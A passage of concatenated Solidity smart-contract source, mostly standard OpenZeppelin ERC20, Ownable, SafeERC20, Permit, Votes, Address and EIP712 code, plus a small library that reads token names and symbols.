(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-ERC20Permit.sol"; import "../../../utils/math/Math.sol"; import "../../../utils/math/SafeCast.sol"; import "../../../utils/cryptography/ECDSA.sol"; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; library ERC20Metadata { function bytes32ToString(bytes32 x) private pure returns (string memory) { bytes memory bytesString = new bytes(32); uint256 charCount = 0; for (uint256 j = 0; j < 32; j++) { bytes1 char = x[j]; if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } // calls an external view token contract method that returns a symbol or name, and parses the output into a string function callAndParseStringReturn(address token, bytes4 selector) private view returns (string memory) { (bool success, bytes memory data) = token.staticcall(abi.encodeWithSelector(selector)); // if not implemented, or returns empty data, return empty string if (!success || data.length == 0) { return ''; } // bytes32 data always has length 32 if (data.length == 32) { bytes32 decoded = abi.decode(data, (bytes32)); return bytes32ToString(decoded); } else if (data.length > 64) { return abi.decode(data, (string)); } return ''; } // attempts to extract the token symbol. if it does not implement symbol, returns a symbol derived from the address function tokenSymbol(address token) external view returns (string memory) { string memory symbol = callAndParseStringReturn(token, IERC20Metadata.symbol.selector); if (bytes(symbol).length == 0) { // fallback to 6 uppercase hex of address return Strings.toHexString(uint256(keccak256(abi.encode(token))), 32); } return symbol; } // attempts to extract the token name. if it does not implement name, returns a name derived from the address function tokenName(address token) external view returns (string memory) { string memory name = callAndParseStringReturn(token, IERC20Metadata.name.selector); if (bytes(name).length == 0) { // fallback to full hex of address return Strings.toHexString(uint256(keccak256(abi.encode(token))), 32); } return name; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable 